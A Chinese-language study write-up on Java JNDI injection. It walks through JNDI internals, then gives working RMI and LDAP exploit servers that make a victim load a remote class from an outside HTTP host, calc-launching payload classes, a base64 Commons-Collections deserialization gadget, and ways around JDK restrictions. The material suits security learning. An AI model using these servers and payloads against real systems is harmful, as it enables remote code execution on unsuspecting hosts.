java JNDI 注入學習
Java Naming Directory Interface,Java命名和目錄介面,是SUN公司提供的一種標準的Java命名系統介面。透過呼叫JNDI的API應用程式可以定位資源和其他程式物件。JNDI可訪問的現有目錄及服務包括:JDBC(Java 資料庫連線)、LDAP(輕型目錄訪問協議)、RMI(遠端方法呼叫)、DNS(域名服務)、NIS(網路資訊服務)、CORBA(公共物件請求代理系統結構)
命名服務(Naming Server)
命名服務,簡單來說,就是一種透過名稱來查詢實際物件的服務。比如 RMI
協議,可以透過名稱來查詢並呼叫具體的遠端物件。又或者 DNS
協議,透過域名來查詢具體的IP地址。這些都可以叫做命名服務。
在命名服務中,有幾個重要的概念。
- Bindings:表示一個名稱和對應物件的繫結關係,比如在在 DNS 中域名繫結到對應的 IP,在RMI中遠端物件繫結到對應的name,檔案系統中檔名繫結到對應的檔案。
- Context:上下文,一個上下文中對應著一組名稱到物件的繫結關係,我們可以在指定上下文中查詢名稱對應的物件。比如在檔案系統中,一個目錄就是一個上下文,可以在該目錄中查詢檔案,其中子目錄也可以稱為子上下文 (SubContext)。
- References:在一個實際的名稱服務中,有些物件可能無法直接儲存在系統內,這時它們便以引用的形式進行儲存,可以理解為 C/C++ 中的指標。引用中包含了獲取實際物件所需的資訊,甚至物件的實際狀態。比如檔案系統中實際根據名稱開啟的檔案是一個整數 fd (file descriptor),這就是一個引用,核心根據這個引用值去找到磁碟中的對應位置和讀寫偏移。
JNDI 程式碼示例
JNDI 介面主要分為下述 5 個包:
javax.naming
:主要用於命名操作,它包含了命名服務的類和介面,該包定義了Context介面和InitialContext類,(包括了javax.naming.Context
,javax.naming.InitialContext
,分別是用於設定 jndi 環境變數和初始化上下文。)javax.naming.directory
:主要用於目錄操作,它定義了DirContext介面和InitialDir-Context類javax.naming.event
:在命名目錄伺服器中請求事件通知javax.naming.ldap
:提供LDAP服務支援javax.naming.spi
:允許動態插入不同實現,為不同命名目錄服務供應商的開發人員提供開發和實現的途徑,以便應用程式透過JNDI可以訪問相關服務
下面我們透過具體程式碼來看看JNDI是如何實現與各服務進行互動的。
JNDI_RMI
首先在本地起一個RMI服務
定義一個 hello.java
介面
package org.example;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface hello extends Remote {
public Object nihao() throws RemoteException,Exception;
}
然後建立 RMIobj.java,(這裡直接把註冊中心和服務端寫在一起了)
package org.example;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class RMIobj extends UnicastRemoteObject implements hello {
protected RMIobj() throws RemoteException {
super();
}
public void nihao() throws RemoteException, Exception {
System.out.println("hello word");
}
private void registry() throws Exception{
hello rmiobj=new RMIobj();
LocateRegistry.createRegistry(1099);
System.out.println("Server Start");
Naming.bind("Hello", rmiobj);
}
public static void main(String[] args) throws Exception {
new RMIobj().registry();
}
}
然後透過 JNDI
介面呼叫遠端類,JNDI_RMI
package org.example;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Hashtable;
public class JNDI_RMI {
public static void main(String[] args) throws Exception {
//設定JNDI環境變數
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
//初始化上下文
Context initialContext = new InitialContext(env);
//呼叫遠端類
hello ihello = (hello) initialContext.lookup("Hello");
System.out.println(ihello.nihao());
}
}
成功呼叫,
JNDI_DNS
以JDK內建的 DNS 目錄服務為例 (說實話不知道)
JNDI_DNS.java
import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.Attributes;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;
public class JNDI_DNS {
public static void main(String[] args) {
Hashtable<String,String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
env.put(Context.PROVIDER_URL, "dns://192.168.43.1");
try {
DirContext ctx = new InitialDirContext(env);
Attributes res = ctx.getAttributes("goodapple.top", new String[] {"A"});
System.out.println(res);
} catch (NamingException e) {
e.printStackTrace();
}
}
}
JNDI的工作流程
透過JNDI成功地呼叫了RMI和DNS服務。那麼對於JNDI來講,它是如何識別我們呼叫的是何種服務呢?這就依賴於我們上面提到的Context(上下文)了。
初始化Context
//設定JNDI環境變數
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
//初始化上下文
Context initialContext = new InitialContext(env);
使用 hashtable 來設定屬性 INITIAL_CONTEXT_FACTORY
和 PROVIDER_URL
,其中 JNDI 正式透過 INITIAL_CONTEXT_FACTORY
屬性來識別呼叫的是何種服務,像這裡就是 com.sun.jndi.rmi.registry.RegistryContextFactory
。
接著屬性PROVIDER_URL
設定為了"rmi://localhost:1099"
,這正是我們RMI服務的地址。JNDI透過該屬性來獲取服務的路徑,進而呼叫該服務。
最後向InitialContext
類傳入我們設定的屬性值來初始化一個Context
,於是我們就獲得了一個與RMI服務相關聯的上下文Context
。
當然,初始化Context的方法多種多樣,我們來看一下InitialContext
類的建構函式
//構建一個預設的初始上下文
public InitialContext();
//構造一個初始上下文,並選擇不初始化它。
protected InitialContext(boolean lazy);
//使用提供的環境變數初始化上下文。
public InitialContext(Hashtable<?,?> environment);
所以我們還可以用如下方式來初始化一個Context
//設定JNDI環境變數
System.setProperty(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL,"rmi://localhost:1099");
//初始化上下文
InitialContext initialContext = new InitialContext();
透過Context與服務互動
和RMI類似,Context
同樣透過以下五種方法來與被呼叫的服務進行互動
//將名稱繫結到物件
bind(Name name, Object obj)
//列舉在命名上下文中繫結的名稱以及繫結到它們的物件的類名
list(String name)
//檢索命名物件
lookup(String name)
//將名稱重繫結到物件
rebind(String name, Object obj)
//取消繫結命名物件
unbind(String name)
JNDI底層實現
上下文的初始化
獲取工廠類
我們透過JNDI來設定不同的上下文,就可以呼叫不同的服務。那麼JNDI介面是如何實現這一功能的呢?
在InitalContext#InitalContext()
中,透過我們傳入的HashTable
進行init
。
繼續跟進
跟到了 getInitialEnvironment
方法,繼續跟進,
一路跟進到達 getInitialContext
方法。
這裡首先透過 getInitialContextFactoryBuilder()
初始化了一個 InitialContextFactoryBuilder
類。
如果該類為空,則將 className
設定為 _INITIAL_CONTEXT_FACTORY_
屬性。這個屬性就是我們手動設定的RMI上下文工廠類 com.sun.jndi.rmi.registry.RegistryContextFactory
。
繼續向下
這裡透過loadClass()
來動態載入我們設定的工廠類。最終呼叫的其實是RegistryContextFactory#getInitialContext()
方法,透過我們的設定工廠類來初始化上下文Context。
現在我們知道了,JNDI是透過我們設定的_INITIAL_CONTEXT_FACTORY_
工廠類來判斷將上下文初始化為何種型別,進而呼叫該型別上下文所對應的服務。呼叫鏈如下
獲取服務互動所需資源
現在JNDI知道了我們想要呼叫何種服務,那麼它又是如何知道服務地址以及獲取服務的各種資源的呢?我們接著上文,跟到RegistryContextFactory#getInitialContext()
中
這裡的var1
就是我們設定的兩個環境變數,跟進getInitCtxURL()
JNDI透過我們設定的_PROVIDER_URL_
環境變數來獲取服務的路徑,接著在URLToContext()
方法中初始化了一個rmiURLContextFactory
類,並根據服務路徑來獲取例項。
跟到rmiURLContextFactory#getUsingURL()
中
看到呼叫了 lookup()
方法。其實一直跟蹤就知道呼叫的是 RegistryContext#lookup()
,根據上述過程中獲取的資訊初始化了一個新的 RegistryContext
。
可見,在最終初始化的時候獲取了一系列RMI通訊過程中所需的資源,包括 RegistryImpl_Stub
類、path
、port
等資訊。如下圖
JNDI在初始化上下文的時候獲取了與服務互動所需的各種資源,所以下一步就是透過獲取的資源和服務愉快地進行互動了。
各種呼叫鏈如下
JNDI動態協議轉換
上面兩個例子中,我們手動設定了屬性_INITIAL_CONTEXT_FACTORY_
和_PROVIDER_URL_
的值來對Context進行初始化。透過對Context的初始化,JNDI能夠識別我們想呼叫何種服務,以及服務的路徑。
但實際上,在 Context#lookup()
方法的引數中,使用者可以指定自己的查詢協議。JNDI會透過使用者的輸入來動態的識別使用者要呼叫的服務以及路徑。來看下面的例子
import javax.naming.InitialContext;
public class JNDI_Dynamic {
public static void main(String[]args) throws Exception{
String string = "rmi://localhost:1099/hello";
InitialContext initialContext = new InitialContext();
IHello ihello = (IHello) initialContext.lookup(string);
System.out.println(ihello.sayHello("Feng"));
}
}
執行結果:
可以看到,我們並沒有設定相應的環境變數來初始化Context,但是JNDI仍舊透過lookup()的引數識別出了我們要呼叫的服務以及路徑,這就是JNDI的動態協議轉換。
動態協議轉換的底層實現
首先從lookup()
開始跟進
注意到其實我們不管呼叫的是lookup、bind或者是其他initalContext
中的方法,都會呼叫getURLOrDefaultInitCtx()
方法進行檢查。
跟進 getURLOrDefaultInitCtx()
方法,會透過 getURLScheme()
方法來獲取通訊協議,比如這裡獲取到的是 rmi
協議,然後跟據獲取到的協議,透過 NamingManager#getURLContext()
來呼叫 getURLObject()
方法
在 getURLObject
的時候會根據傳入進來的url去尋找對應的工廠,比如這裡的rmi,
ObjectFactory factory = (ObjectFactory)ResourceManager.getFactory(
Context.URL_PKG_PREFIXES, environment, nameCtx,
"." + scheme + "." + scheme + "URLContextFactory", defaultPkgPrefix);
就是把schema和我們的URLContextFactory去拼接得到它的工廠,然後根據不同的工廠類對應著不同的getObjectInstance方法
public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) throws NamingException {
if (var1 == null) {
return new rmiURLContext(var4);
} else if (var1 instanceof String) {
return getUsingURL((String)var1, var4);
} else if (var1 instanceof String[]) {
return getUsingURLs((String[])((String[])var1), var4);
} else {
throw new ConfigurationException("rmiURLContextFactory.getObjectInstance: argument must be an RMI URL String or an array of them");
}
}
然後又會進入getUsingURL方法,在 getUsingURL 方法中會呼叫 lookup 方法,不過來到的是來到GenericURLContext (com.sun.jndi.toolkit.url)的lookup方法,
public Object lookup(String var1) throws NamingException {
ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);
Context var3 = (Context)var2.getResolvedObj();
Object var4;
try {
var4 = var3.lookup(var2.getRemainingName());
} finally {
var3.close();
}
return var4;
}
然後再這個 lookup 方法中看到 var4 = var3.lookup(var2.getRemainingName());
其實呼叫的就是RegistryContext的lookup,
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0));
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}
return this.decodeObject(var2, var1.getPrefix(1));
}
}
看到 return new RegistryContext(this);
不就是上面自己設定屬性進行上下文初始化最後的部分嗎,這裡繼續向下說,根跟進到 decodeObject
方法
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}
看到會判斷 var1 (也就是 bind 繫結的物件)是不是 RemoteReference
的子類,是就執行 ((RemoteReference)var1).getReference()
來載入遠端遠端物件,不是就還是原來的類,然後執行
NamingManager.getObjectInstance(var3, var2, this, this.environment);
進行例項化。
繼續跟進 getObjectInstance
方法就知道會進行一個判斷,如果是遠端的就直接實列化,如果是本地的,會繼續呼叫本地工廠的getObjectInstance方法,後面可以形成繞過。
LDAP 的其實也差不多,只是中間過程肯定不是去呼叫 RegistryContext
的 lookup
方法,它從 lookup 會呼叫其他的 lookup 方法,但是最後一直跟進也會到達 DirectoryManager#getObjectInstance
方法,最後進行實列化。
JNDI Reference類
Reference類表示對存在於命名/目錄系統以外的物件的引用。比如遠端獲取 RMI 服務上的物件是 Reference 類或者其子類,則在客戶端獲取到遠端物件存根例項時,可以從其他伺服器上載入class檔案來進行例項化。
當在本地找不到所呼叫的類時,我們可以透過Reference類來呼叫位於遠端伺服器的類。
Reference類常用建構函式如下:
//className為遠端載入時所使用的類名,如果本地找不到這個類名,就去遠端載入
//factory為工廠類名
//factoryLocation為工廠類載入的地址,可以是file://、ftp://、http:// 等協議
Reference(String className, String factory, String factoryLocation)
在RMI中,由於我們遠端載入的物件需要繼承UnicastRemoteObject
類,所以這裡我們需要使用ReferenceWrapper
類對Reference
類或其子類物件進行遠端包裝成Remote
類使其能夠被遠端訪問。
JNDI注入
透過以上例項可以清晰的看到看到,如果lookup()函式的訪問地址引數控制不當,則有可能導致載入遠端惡意類
JNDI介面可以呼叫多個含有遠端功能的服務,所以我們的攻擊方式也多種多樣。但流程大同小異,如下圖所示
JNDI 注入對 JAVA 版本有相應的限制,具體可利用版本如下:
協議 | JDK6 | JDK7 | JDK8 | JDK11 |
---|---|---|---|---|
LADP | 6u211以下 | 7u201以下 | 8u191以下 | 11.0.1以下 |
RMI | 6u132以下 | 7u122以下 | 8u113以下 | 無 |
JNDI+RMI
在攻擊RMI服務的時候我們提到過透過遠端載入Codebase的方式來載入惡意的遠端類到伺服器上。和Codebase類似,我們也可以使用Reference類來從遠端載入惡意類。JDK版本為JDK8u_65
,攻擊程式碼如下
RMI_Server.java
package org.example;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class RMI_Server {
void register() throws Exception{
LocateRegistry.createRegistry(1099);
Reference reference = new Reference("RMI_POC","RMI_POC","http://106.53.212.184:6666/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);
Naming.bind("hello",refObjWrapper);
System.out.println("START RUN");
}
public static void main(String[] args) throws Exception {
new RMI_Server().register();
}
}
其中RMIHello為我們要遠端訪問的類,如下
RMI_POC
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.Hashtable;
public class RMIHello extends UnicastRemoteObject implements ObjectFactory {
public RMIHello() throws RemoteException {
super();
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
注意,RMIHello
類需要繼承ObjectFactory
類,並且建構函式需要為public
。
受害客戶端如下,我們將lookup()
引數控制位我們惡意RMI服務的地址
RMI_CN.java
package org.example;
import javax.naming.InitialContext;
public class RMI_CN {
public static void main(String[]args) throws Exception{
String string = "rmi://localhost:1099/hello";
InitialContext initialContext = new InitialContext();
initialContext.lookup(string);
}
}
我們搭建好惡意的RMI伺服器,並且在遠端伺服器上放置惡意類。客戶端成功呼叫並初始化我們遠端的惡意
啟動服務
1、將 HTTP 端惡意載荷 RMI_POC.java
,編譯成 RMI_POC.class
檔案
javac RMI_POC.java
或者直接使用 idea 編譯也可以,感覺應該也不用移除。
2、在 RMI_POC.class
目錄下利用 Python 起一個臨時的 WEB 服務放置惡意載荷,這裡的埠必須要與 RMI_Server.java 的 Reference 裡面的連結埠一致
啟動服務端
啟動客戶端載入惡意類
看到成功彈出計算機。
JNDI+LDAP
LDAP(Lightweight Directory Access Protocol ,輕型目錄訪問協議)是一種目錄服務協議,LDAP目錄和RMI登錄檔的區別在於是前者是目錄服務,並允許分配儲存物件的屬性。
也就是說,LDAP 「是一個協議」,約定了 Client 與 Server 之間的資訊互動格式、使用的埠號、認證方式等內容。而 「LDAP 協議的實現」,有著眾多版本,例如微軟的 Active Directory 是 LDAP 在 Windows 上的實現。AD 實現了 LDAP 所需的樹形資料庫、具體如何解析請求資料併到資料庫查詢然後返回結果等功能。再例如 OpenLDAP 是可以執行在 Linux 上的 LDAP 協議的開源實現。而我們平常說的 LDAP Server,一般指的是安裝並配置了 Active Directory、OpenLDAP 這些程式的伺服器。
更加具體參考:java LDAP
我們可以使用LDAP服務來儲存Java物件,如果我們此時能夠控制JNDI去訪問儲存在LDAP中的Java惡意物件,那麼就有可能達到攻擊的目的。LDAP能夠儲存的Java物件如下
- Java 序列化
- JNDI的References
- Marshalled物件
- Remote Location
首先下載LDAP依賴。
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
<scope>test</scope>
</dependency>
LDAP_Server.java
package org.example;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class LDAP_Server {
private static final String LDAP_BASE = "dc=gaoren,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://106.53.212.184:6666/#LDAP_POC"};
int port = 9999;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
LDAP_POC.java
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
public class LDAP_POC implements ObjectFactory {
public LDAP_POC() throws Exception{
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
LDAP_CN.java
package org.example;
import javax.naming.InitialContext;
public class LDAP_CN {
public static void main(String[]args) throws Exception{
String string = "ldap://localhost:9999/LDAP_POC";
InitialContext initialContext = new InitialContext();
initialContext.lookup(string);
}
}
步驟和上面是一樣的,最後執行也是成功彈出計算機
JDK高版本限制
在我們利用Codebase攻擊RMI服務的時候,如果想要根據Codebase載入位於遠端伺服器的類時,java.rmi.server.useCodebaseOnly
的值必須為false
。但是從JDK 6u45
、7u21
開始,java.rmi.server.useCodebaseOnly
的預設值就是true
。
JNDI_RMI_Reference限制
JNDI同樣有類似的限制,在JDK 6u132
, JDK 7u122
, JDK 8u113
之後Java限制了透過RMI
遠端載入Reference
工廠類。com.sun.jndi.rmi.object.trustURLCodebase
、com.sun.jndi.cosnaming.object.trustURLCodebase
的預設值變為了false
,即預設不允許透過RMI從遠端的Codebase
載入Reference
工廠類。
JNDI_LDAP_Reference限制
JNDI不僅可以從透過RMI載入遠端的Reference
工廠類,也可以透過LDAP協議載入遠端的Reference工廠類,但是在之後的版本Java也對LDAP Reference遠端載入Factory
類進行了限制,在JDK 11.0.1
、8u191
、7u201
、6u211
之後 com.sun.jndi.ldap.object.trustURLCodebase
屬性的預設值同樣被修改為了false
,對應的CVE編號為:CVE-2018-3149
。
限制原始碼分析
JDK_8u65
在低版本JDK_8u65下,在RegistryContext#decodeObject()
方法會直接呼叫到NamingManager#getObjectInstance()
,進而呼叫getObjectFactoryFromReference()
方法來獲取遠端工廠類。
JDK_8u241
同樣是在 RegistryContext#decodeObject()
方法,這裡增加了對型別以及 trustURLCodebase
的檢查,所以也就沒法載入遠端的 refrence 工廠類了。
繞過高版本限制
使用本地的Reference Factory類
8u191後已經預設不允許載入codebase
中的遠端類,但我們可以從本地載入合適Reference Factory
。
需要注意是,該本地工廠類必須實現javax.naming.spi.ObjectFactory
介面,因為在javax.naming.spi.NamingManager#getObjectFactoryFromReference
最後的return
語句對Factory
類的例項物件進行了型別轉換,並且該工廠類至少存在一個getObjectInstance()
方法。
Tomcat8
org.apache.naming.factory.BeanFactory
就是滿足條件之一,並由於該類存在於Tomcat8依賴包中,攻擊面和成功率還是比較高的。
org.apache.naming.factory.BeanFactory
在 getObjectInstance()
中會透過反射的方式例項化Reference所指向的任意Bean Class,並且會呼叫setter方法為所有的屬性賦值。而該Bean Class的類名、屬性、屬性值,全都來自於Reference物件,均是攻擊者可控的。
反序列化繞過
因為LDAP 還可以儲存序列化的資料,那麼如果LDAP儲存的某個物件的 javaSerializedData
值不為空,則客戶端會透過呼叫 obj.decodeObject()
對該屬性值內容進行反序列化。如果客戶端存在反序列化相關元件漏洞,則我們可以透過LDAP來傳輸惡意序列化物件。
惡意LDAP服務端
LDAP_BS.java
相較於原始的LDAP伺服器,我們只需要略微改動即可,將被儲存的類的屬性值 javaSerializeData
更改為序列化payload即可(之前的 ldap 儲存的屬性為其他的)
LDAP_BS.java
package org.example;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.URL;
import java.util.Base64;
public class LDAP_BS {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1/#BS"};
int port = 9999;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception {
e.addAttribute("javaClassName", "foo");
//getObject獲取Gadget
e.addAttribute("javaSerializedData", Base64.getDecoder().decode( "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADYWJjc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAEc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXB0AAlnZXRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABxzcQB+ABN1cQB+ABgAAAACcHB0AAZpbnZva2V1cQB+ABwAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXEAfgAYAAAAAXQABGNhbGN0AARleGVjdXEAfgAcAAAAAXEAfgAfc3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHh0AANlZWV4"
));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
然後客戶端進行呼叫
package org.example;
import javax.naming.InitialContext;
public class LDAP_CN {
public static void main(String[]args) throws Exception{
String string = "ldap://localhost:9999/BS";
InitialContext initialContext = new InitialContext();
initialContext.lookup(string);
}
}
其反序列化的呼叫棧
看到其實就是 c_llokup 後面走得不一樣了,最後再 deserializeObject 中進行了反序列化。
參考:https://goodapple.top/archives/696
參考:https://xz.aliyun.com/t/15075
參考:https://xz.aliyun.com/t/12277